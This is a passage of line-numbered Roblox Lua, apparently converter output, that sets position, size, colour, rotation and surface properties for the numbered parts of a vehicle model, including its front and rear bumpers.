  1176. Part57.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1177. Part57.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1178. Part58.Name = "Smooth Block Model"
  1179. Part58.Parent = Model21
  1180. Part58.BrickColor = BrickColor.new("White")
  1181. Part58.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1182. Part58.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1183. Part58.Velocity = Vector3.new(0.0213533938, 1.17489302, 14.8504782)
  1184. Part58.CanCollide = false
  1185. Part58.Size = Vector3.new(8, 2.4000001, 3)
  1186. Part58.CFrame = CFrame.new(-46.0007973, 2.88616538, 137.444687, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  1187. Part58.BackSurface = Enum.SurfaceType.Weld
  1188. Part58.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1189. Part58.Position = Vector3.new(-46.0007973, 2.88616538, 137.444687)
  1190. Part58.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1191. Part58.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1192. Part59.Name = "Smooth Block Model"
  1193. Part59.Parent = Model21
  1194. Part59.BrickColor = BrickColor.new("White")
  1195. Part59.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1196. Part59.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1197. Part59.Velocity = Vector3.new(-0.273873299, 0.308963478, 14.8486538)
  1198. Part59.Size = Vector3.new(2, 2.4000001, 14)
  1199. Part59.CFrame = CFrame.new(-46.0512047, 2.91704798, 130.945007, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968)
  1200. Part59.LeftSurface = Enum.SurfaceType.Weld
  1201. Part59.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1202. Part59.Position = Vector3.new(-46.0512047, 2.91704798, 130.945007)
  1203. Part59.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1204. Part59.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1205. Part60.Name = "Smooth Block Model"
  1206. Part60.Parent = Model21
  1207. Part60.BrickColor = BrickColor.new("White")
  1208. Part60.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1209. Part60.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1210. Part60.Velocity = Vector3.new(-0.659936845, -0.823398829, 14.8462677)
  1211. Part60.CanCollide = false
  1212. Part60.Size = Vector3.new(8, 2.4000001, 3)
  1213. Part60.CFrame = CFrame.new(-46.1171188, 2.95742369, 122.44548, -0.999961078, -6.73918184e-05, -0.0077542779, -0.00010418224, 0.999988735, 0.00475051068, 0.00775291584, 0.00475117238, -0.999946833)
  1214. Part60.BackSurface = Enum.SurfaceType.Weld
  1215. Part60.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1216. Part60.Position = Vector3.new(-46.1171188, 2.95742369, 122.44548)
  1217. Part60.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1218. Part60.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1219. Part61.Name = "Smooth Block Model"
  1220. Part61.Parent = Model21
  1221. Part61.BrickColor = BrickColor.new("White")
  1222. Part61.Rotation = Vector3.new(-179.229996, 89.4799957, 179.5)
  1223. Part61.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1224. Part61.Velocity = Vector3.new(-0.554445386, -0.556578994, 14.7667847)
  1225. Part61.Size = Vector3.new(1, 1.20000005, 2)
  1226. Part61.CFrame = CFrame.new(-46.1016655, 3.54791427, 124.448219, -0.00775489444, -6.74199255e-05, 0.99995929, 0.00475053908, 0.999988735, 0.000104203747, -0.999944448, 0.00475119986, -0.00775334146)
  1227. Part61.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1228. Part61.Position = Vector3.new(-46.1016655, 3.54791427, 124.448219)
  1229. Part61.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  1230. Part61.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1231. Part62.Name = "Smooth Block Model"
  1232. Part62.Parent = Model21
  1233. Part62.BrickColor = BrickColor.new("White")
  1234. Part62.Rotation = Vector3.new(-179.229996, 89.4700012, 179.5)
  1235. Part62.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1236. Part62.Velocity = Vector3.new(-0.750778496, -1.08984661, 14.845706)
  1237. Part62.Size = Vector3.new(1, 2.4000001, 14)
  1238. Part62.CFrame = CFrame.new(-46.1326332, 2.96692896, 120.445518, -0.00775497453, -6.74243638e-05, 0.999957502, 0.00475053303, 0.999988735, 0.000104198749, -0.999942064, 0.0047511938, -0.00775323017)
  1239. Part62.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1240. Part62.Position = Vector3.new(-46.1326332, 2.96692896, 120.445518)
  1241. Part62.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  1242. Part62.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1243. Part63.Name = "Smooth Block Model"
  1244. Part63.Parent = Model21
  1245. Part63.BrickColor = BrickColor.new("White")
  1246. Part63.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1247. Part63.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1248. Part63.Velocity = Vector3.new(-0.555321097, -0.61967504, 14.6529121)
  1249. Part63.CanCollide = false
  1250. Part63.Size = Vector3.new(3, 1.20000005, 1)
  1251. Part63.CFrame = CFrame.new(-43.6017685, 3.54817867, 124.428848, -0.999961078, -6.74155235e-05, -0.00775481528, -0.000104208761, 0.999988735, 0.00475054421, 0.00775345322, 0.00475120591, -0.999946833)
  1252. Part63.BackSurface = Enum.SurfaceType.Weld
  1253. Part63.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1254. Part63.Position = Vector3.new(-43.6017685, 3.54817867, 124.428848)
  1255. Part63.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1256. Part63.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1257. Part64.Name = "Smooth Block Model"
  1258. Part64.Parent = Model21
  1259. Part64.BrickColor = BrickColor.new("White")
  1260. Part64.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1261. Part64.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1262. Part64.Velocity = Vector3.new(-0.793918669, -1.05900979, 15.1414938)
  1263. Part64.Size = Vector3.new(1, 2.4000001, 1)
  1264. Part64.CFrame = CFrame.new(-52.640152, 2.97100544, 119.495979, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  1265. Part64.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1266. Part64.Position = Vector3.new(-52.640152, 2.97100544, 119.495979)
  1267. Part64.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1268. Part64.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1269. Part65.Name = "Smooth Block Model"
  1270. Part65.Parent = Model21
  1271. Part65.BrickColor = BrickColor.new("White")
  1272. Part65.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1273. Part65.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1274. Part65.Velocity = Vector3.new(-0.528060794, -0.819970906, 14.1258574)
  1275. Part65.Size = Vector3.new(6, 1.20000005, 1)
  1276. Part65.CFrame = CFrame.new(-46.117485, 8.35736084, 122.471107, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
  1277. Part65.TopSurface = Enum.SurfaceType.Smooth
  1278. Part65.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1279. Part65.Position = Vector3.new(-46.117485, 8.35736084, 122.471107)
  1280. Part65.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1281. Part65.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1282. SpecialMesh66.Parent = Part65
  1283. SpecialMesh66.MeshType = Enum.MeshType.Wedge
  1284. Part67.Name = "Smooth Block Model"
  1285. Part67.Parent = Model20
  1286. Part67.BrickColor = BrickColor.new("Bright red")
  1287. Part67.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1288. Part67.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1289. Part67.Velocity = Vector3.new(-0.783297181, -1.34888029, 14.5376348)
  1290. Part67.Size = Vector3.new(2, 1.20000005, 1)
  1291. Part67.CFrame = CFrame.new(-41.1405983, 3.57219553, 119.40966, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  1292. Part67.Color = Color3.new(0.768628, 0.156863, 0.109804)
  1293. Part67.Position = Vector3.new(-41.1405983, 3.57219553, 119.40966)
  1294. Part67.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1295. Part67.Color = Color3.new(0.768628, 0.156863, 0.109804)
  1296. Part68.Name = "Smooth Block Model"
  1297. Part68.Parent = Model20
  1298. Part68.BrickColor = BrickColor.new("Bright red")
  1299. Part68.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1300. Part68.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1301. Part68.Velocity = Vector3.new(-0.779791713, -1.09648752, 14.9931259)
  1302. Part68.Size = Vector3.new(2, 1.20000005, 1)
  1303. Part68.CFrame = CFrame.new(-51.1402473, 3.57114983, 119.487198, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  1304. Part68.Color = Color3.new(0.768628, 0.156863, 0.109804)
  1305. Part68.Position = Vector3.new(-51.1402473, 3.57114983, 119.487198)
  1306. Part68.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1307. Part68.Color = Color3.new(0.768628, 0.156863, 0.109804)
  1308. Model69.Name = "FrontBumper"
  1309. Model69.Parent = Model20
  1310. Part70.Name = "Smooth Block Model"
  1311. Part70.Parent = Model69
  1312. Part70.BrickColor = BrickColor.new("Dark stone grey")
  1313. Part70.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1314. Part70.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1315. Part70.Velocity = Vector3.new(0.182074994, 1.76736045, 15.0792055)
  1316. Part70.Size = Vector3.new(2, 2.4000001, 2)
  1317. Part70.CFrame = CFrame.new(-50.973484, 2.86902118, 140.983292, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  1318. Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1319. Part70.Position = Vector3.new(-50.973484, 2.86902118, 140.983292)
  1320. Part70.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1321. Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1322. Part71.Name = "Smooth Block Model"
  1323. Part71.Parent = Model69
  1324. Part71.BrickColor = BrickColor.new("Dark stone grey")
  1325. Part71.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1326. Part71.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1327. Part71.Velocity = Vector3.new(0.284060717, 1.78178692, 14.5442305)
  1328. Part71.Size = Vector3.new(2, 1.20000005, 2)
  1329. Part71.CFrame = CFrame.new(-40.9583511, 3.46055007, 142.908493, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
  1330. Part71.BackSurface = Enum.SurfaceType.Weld
  1331. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1332. Part71.TopSurface = Enum.SurfaceType.Smooth
  1333. Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1334. Part71.Position = Vector3.new(-40.9583511, 3.46055007, 142.908493)
  1335. Part71.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1336. Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1337. SpecialMesh72.Parent = Part71
  1338. SpecialMesh72.MeshType = Enum.MeshType.Wedge
  1339. Part73.Name = "Smooth Block Model"
  1340. Part73.Parent = Model69
  1341. Part73.BrickColor = BrickColor.new("Dark stone grey")
  1342. Part73.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1343. Part73.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1344. Part73.Velocity = Vector3.new(0.254229456, 1.74316728, 14.6359987)
  1345. Part73.Size = Vector3.new(2, 1.20000005, 1)
  1346. Part73.CFrame = CFrame.new(-39.4583321, 2.26072311, 142.891174, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215796, 0.999950171, 0.00475121383, 0.00775360968)
  1347. Part73.BackSurface = Enum.SurfaceType.Weld
  1348. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1349. Part73.TopSurface = Enum.SurfaceType.Smooth
  1350. Part73.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1351. Part73.Position = Vector3.new(-39.4583321, 2.26072311, 142.891174)
  1352. Part73.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1353. Part73.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1354. SpecialMesh74.Parent = Part73
  1355. SpecialMesh74.MeshType = Enum.MeshType.Wedge
  1356. Part75.Name = "Smooth Block Model"
  1357. Part75.Parent = Model69
  1358. Part75.BrickColor = BrickColor.new("Dark stone grey")
  1359. Part75.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1360. Part75.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1361. Part75.Velocity = Vector3.new(0.200752735, 1.54371738, 14.5555325)
  1362. Part75.Size = Vector3.new(1, 2.4000001, 1)
  1363. Part75.CFrame = CFrame.new(-39.470005, 2.86784053, 141.394089, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086)
  1364. Part75.BackSurface = Enum.SurfaceType.Weld
  1365. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1366. Part75.TopSurface = Enum.SurfaceType.Smooth
  1367. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1368. Part75.Position = Vector3.new(-39.470005, 2.86784053, 141.394089)
  1369. Part75.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1370. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1371. SpecialMesh76.Parent = Part75
  1372. SpecialMesh76.MeshType = Enum.MeshType.Wedge
  1373. Part77.Name = "Smooth Block Model"
  1374. Part77.Parent = Model69
  1375. Part77.BrickColor = BrickColor.new("Dark stone grey")
  1376. Part77.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1377. Part77.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1378. Part77.Velocity = Vector3.new(0.326390445, 2.23324895, 15.1602325)
  1379. Part77.Size = Vector3.new(2, 1.20000005, 1)
  1380. Part77.CFrame = CFrame.new(-50.9462967, 2.25240612, 144.48027, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455)
  1381. Part77.BackSurface = Enum.SurfaceType.Weld
  1382. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1383. Part77.TopSurface = Enum.SurfaceType.Smooth
  1384. Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1385. Part77.Position = Vector3.new(-50.9462967, 2.25240612, 144.48027)
  1386. Part77.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1387. Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1388. SpecialMesh78.Parent = Part77
  1389. SpecialMesh78.MeshType = Enum.MeshType.Wedge
  1390. Part79.Name = "Smooth Block Model"
  1391. Part79.Parent = Model69
  1392. Part79.BrickColor = BrickColor.new("Dark stone grey")
  1393. Part79.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1394. Part79.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1395. Part79.Velocity = Vector3.new(0.25475505, 1.78102577, 14.7043228)
  1396. Part79.Size = Vector3.new(2, 1.20000005, 2)
  1397. Part79.CFrame = CFrame.new(-40.9582787, 2.2605629, 142.902802, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
  1398. Part79.FrontSurface = Enum.SurfaceType.Weld
  1399. Part79.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1400. Part79.Position = Vector3.new(-40.9582787, 2.2605629, 142.902802)
  1401. Part79.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1402. Part79.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1403. Part80.Name = "Smooth Block Model"
  1404. Part80.Parent = Model69
  1405. Part80.BrickColor = BrickColor.new("Dark stone grey")
  1406. Part80.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1407. Part80.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1408. Part80.Velocity = Vector3.new(0.16566883, 1.64078176, 14.9315062)
  1409. Part80.Size = Vector3.new(2, 1.20000005, 8)
  1410. Part80.CFrame = CFrame.new(-45.9736137, 2.26954889, 140.941666, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086)
  1411. Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1412. Part80.Position = Vector3.new(-45.9736137, 2.26954889, 140.941666)
  1413. Part80.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1414. Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1415. Part81.Name = "Smooth Block Model"
  1416. Part81.Parent = Model69
  1417. Part81.BrickColor = BrickColor.new("Dark stone grey")
  1418. Part81.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1419. Part81.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1420. Part81.Velocity = Vector3.new(0.28756687, 2.03418064, 14.9997206)
  1421. Part81.Size = Vector3.new(2, 1.20000005, 2)
  1422. Part81.CFrame = CFrame.new(-50.958004, 3.45951557, 142.986038, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
  1423. Part81.BackSurface = Enum.SurfaceType.Weld
  1424. Part81.BottomSurface = Enum.SurfaceType.Smooth
  1425. Part81.TopSurface = Enum.SurfaceType.Smooth
  1426. Part81.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1427. Part81.Position = Vector3.new(-50.958004, 3.45951557, 142.986038)
  1428. Part81.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1429. Part81.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1430. SpecialMesh82.Parent = Part81
  1431. SpecialMesh82.MeshType = Enum.MeshType.Wedge
  1432. Part83.Name = "Smooth Block Model"
  1433. Part83.Parent = Model69
  1434. Part83.BrickColor = BrickColor.new("Dark stone grey")
  1435. Part83.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1436. Part83.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1437. Part83.Velocity = Vector3.new(0.258261204, 2.03341937, 15.159812)
  1438. Part83.Size = Vector3.new(2, 1.20000005, 2)
  1439. Part83.CFrame = CFrame.new(-50.9579277, 2.25952816, 142.980347, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
  1440. Part83.FrontSurface = Enum.SurfaceType.Weld
  1441. Part83.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1442. Part83.Position = Vector3.new(-50.9579277, 2.25952816, 142.980347)
  1443. Part83.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1444. Part83.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1445. Part84.Name = "Smooth Block Model"
  1446. Part84.Parent = Model69
  1447. Part84.BrickColor = BrickColor.new("Dark stone grey")
  1448. Part84.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  1449. Part84.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1450. Part84.Velocity = Vector3.new(0.258786887, 2.07127786, 15.2281361)
  1451. Part84.Size = Vector3.new(2, 1.20000005, 1)
  1452. Part84.CFrame = CFrame.new(-52.4578781, 2.25937176, 142.991974, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615)
  1453. Part84.BackSurface = Enum.SurfaceType.Weld
  1454. Part84.BottomSurface = Enum.SurfaceType.Smooth
  1455. Part84.TopSurface = Enum.SurfaceType.Smooth
  1456. Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1457. Part84.Position = Vector3.new(-52.4578781, 2.25937176, 142.991974)
  1458. Part84.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  1459. Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1460. SpecialMesh85.Parent = Part84
  1461. SpecialMesh85.MeshType = Enum.MeshType.Wedge
  1462. Part86.Name = "Smooth Block Model"
  1463. Part86.Parent = Model69
  1464. Part86.BrickColor = BrickColor.new("Dark stone grey")
  1465. Part86.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1466. Part86.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1467. Part86.Velocity = Vector3.new(0.178568333, 1.51496482, 14.6237154)
  1468. Part86.Size = Vector3.new(2, 2.4000001, 2)
  1469. Part86.CFrame = CFrame.new(-40.9738388, 2.8700633, 140.905731, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  1470. Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1471. Part86.Position = Vector3.new(-40.9738388, 2.8700633, 140.905731)
  1472. Part86.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1473. Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1474. Part87.Name = "Smooth Block Model"
  1475. Part87.Parent = Model69
  1476. Part87.BrickColor = BrickColor.new("Dark stone grey")
  1477. Part87.Rotation = Vector3.new(-179.729996, -0.439999998, 90)
  1478. Part87.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1479. Part87.Velocity = Vector3.new(0.253083646, 1.83648705, 14.817872)
  1480. Part87.Size = Vector3.new(1, 2.4000001, 2)
  1481. Part87.CFrame = CFrame.new(-43.1581993, 2.1603384, 142.919373, 6.74106923e-05, -0.999963045, -0.0077547282, -0.999988735, -0.000104214298, 0.00475054886, -0.00475121196, 0.00775357615, -0.999949455)
  1482. Part87.BackSurface = Enum.SurfaceType.Weld
  1483. Part87.BottomSurface = Enum.SurfaceType.Smooth
  1484. Part87.TopSurface = Enum.SurfaceType.Smooth
  1485. Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1486. Part87.Position = Vector3.new(-43.1581993, 2.1603384, 142.919373)
  1487. Part87.Orientation = Vector3.new(-0.269999981, -179.559998, -90.0099945)
  1488. Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1489. SpecialMesh88.Parent = Part87
  1490. SpecialMesh88.MeshType = Enum.MeshType.Wedge
  1491. Part89.Name = "Smooth Block Model"
  1492. Part89.Parent = Model69
  1493. Part89.BrickColor = BrickColor.new("Dark stone grey")
  1494. Part89.Rotation = Vector3.new(-179.729996, -0.439999998, -90)
  1495. Part89.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1496. Part89.Velocity = Vector3.new(0.255047023, 1.97782743, 15.0729456)
  1497. Part89.Size = Vector3.new(1, 2.4000001, 2)
  1498. Part89.CFrame = CFrame.new(-48.7579918, 2.15975475, 142.962799, -6.74106923e-05, 0.999963045, -0.0077547282, 0.999988735, 0.000104214298, 0.00475054886, 0.00475121196, -0.00775357615, -0.999949455)
  1499. Part89.BackSurface = Enum.SurfaceType.Weld
  1500. Part89.BottomSurface = Enum.SurfaceType.Smooth
  1501. Part89.TopSurface = Enum.SurfaceType.Smooth
  1502. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1503. Part89.Position = Vector3.new(-48.7579918, 2.15975475, 142.962799)
  1504. Part89.Orientation = Vector3.new(-0.269999981, -179.559998, 89.9899979)
  1505. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1506. SpecialMesh90.Parent = Part89
  1507. SpecialMesh90.MeshType = Enum.MeshType.Wedge
  1508. Part91.Name = "Smooth Block Model"
  1509. Part91.Parent = Model69
  1510. Part91.BrickColor = BrickColor.new("Dark stone grey")
  1511. Part91.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1512. Part91.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1513. Part91.Velocity = Vector3.new(0.322884291, 1.98085546, 14.7047434)
  1514. Part91.Size = Vector3.new(2, 1.20000005, 1)
  1515. Part91.CFrame = CFrame.new(-40.9466515, 2.25344086, 144.402725, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455)
  1516. Part91.BackSurface = Enum.SurfaceType.Weld
  1517. Part91.BottomSurface = Enum.SurfaceType.Smooth
  1518. Part91.TopSurface = Enum.SurfaceType.Smooth
  1519. Part91.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1520. Part91.Position = Vector3.new(-40.9466515, 2.25344086, 144.402725)
  1521. Part91.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1522. Part91.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1523. SpecialMesh92.Parent = Part91
  1524. SpecialMesh92.MeshType = Enum.MeshType.Wedge
  1525. Part93.Name = "Smooth Block Model"
  1526. Part93.Parent = Model69
  1527. Part93.BrickColor = BrickColor.new("Dark stone grey")
  1528. Part93.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  1529. Part93.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1530. Part93.Velocity = Vector3.new(0.205311552, 1.87183189, 15.1476688)
  1531. Part93.Size = Vector3.new(1, 2.4000001, 1)
  1532. Part93.CFrame = CFrame.new(-52.4695435, 2.86648941, 141.494919, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086)
  1533. Part93.BackSurface = Enum.SurfaceType.Weld
  1534. Part93.BottomSurface = Enum.SurfaceType.Smooth
  1535. Part93.TopSurface = Enum.SurfaceType.Smooth
  1536. Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1537. Part93.Position = Vector3.new(-52.4695435, 2.86648941, 141.494919)
  1538. Part93.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  1539. Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1540. SpecialMesh94.Parent = Part93
  1541. SpecialMesh94.MeshType = Enum.MeshType.Wedge
  1542. Model95.Name = "RearBumper"
  1543. Model95.Parent = Model20
  1544. Part96.Name = "Smooth Block Model"
  1545. Part96.Parent = Model95
  1546. Part96.BrickColor = BrickColor.new("Dark stone grey")
  1547. Part96.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1548. Part96.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1549. Part96.Velocity = Vector3.new(-0.858548641, -1.52072132, 14.6291237)
  1550. Part96.Size = Vector3.new(1, 1.20000005, 1)
  1551. Part96.CFrame = CFrame.new(-39.6483269, 2.37710953, 118.39238, 0.0077547282, -6.74106923e-05, -0.999963045, -0.00475054886, 0.999988735, -0.000104214298, 0.999949455, 0.00475121196, 0.00775357615)
  1552. Part96.BackSurface = Enum.SurfaceType.Weld
  1553. Part96.BottomSurface = Enum.SurfaceType.Smooth
  1554. Part96.TopSurface = Enum.SurfaceType.Smooth
  1555. Part96.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1556. Part96.Position = Vector3.new(-39.6483269, 2.37710953, 118.39238)
  1557. Part96.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1558. Part96.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1559. SpecialMesh97.Parent = Part96
  1560. SpecialMesh97.MeshType = Enum.MeshType.Wedge
  1561. Part98.Name = "Smooth Block Model"
  1562. Part98.Parent = Model95
  1563. Part98.BrickColor = BrickColor.new("Dark stone grey")
  1564. Part98.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  1565. Part98.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1566. Part98.Velocity = Vector3.new(-0.833560407, -1.29005682, 14.9253311)
  1567. Part98.Size = Vector3.new(2, 1.20000005, 8)
  1568. Part98.CFrame = CFrame.new(-46.1442261, 2.37406492, 118.942749, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086)
